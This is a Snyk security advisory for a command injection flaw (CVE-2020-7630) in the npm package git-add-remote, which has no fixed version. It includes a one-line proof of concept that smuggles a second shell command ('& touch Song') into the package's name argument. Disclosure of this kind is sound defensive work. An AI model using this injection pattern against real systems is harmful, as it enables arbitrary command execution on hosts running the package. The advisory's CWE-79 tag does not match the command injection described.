

Command Injection

Affecting [git-add-remote](#) package, versions *

INTRODUCED: 1 APR 2020 CVE-2020-7630 CWE-79 FIRST ADDED BY SNYK Share

How to fix?

There is no fixed version for `git-add-remote`.

Overview

`git-add-remote` is an API for adding git remotes.

Affected versions of this package are vulnerable to Command Injection. The argument `name` can be controlled by users without any sanitization.

PoC

```
var root = require("git-add-remote")(); var payload = "& touch Song"; root(payload, '', function() {});
```

References

- Vulnerable Code

PRODUCT

- Snyk Open Source
- Snyk Code
- Snyk Container
- Snyk Infrastructure as Code
- Test with Github
- Test with CLI

RESOURCES

- Vulnerability DB
- Documentation
- Disclosed Vulnerabilities

MEDIUM

Search by package name or CVE

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH

See more

> NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-GITADDERMOT-564269
Published	1 Apr 2020
Disclosed	1 Apr 2020
Credit	JHU System Security Lab

Report a new vulnerability Found a mistake?

[Blog](#)
[FAQs](#)
COMPANY
[About](#)
[Jobs](#)
[Contact](#)
[Policies](#)
[Do Not Sell My Personal Information](#)

CONTACT US
[Support](#)
[Report a new vuln](#)
[Press Kit](#)
[Events](#)

[FIND US ONLINE](#)

[TRACK OUR DEVELOPMENT](#)



© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.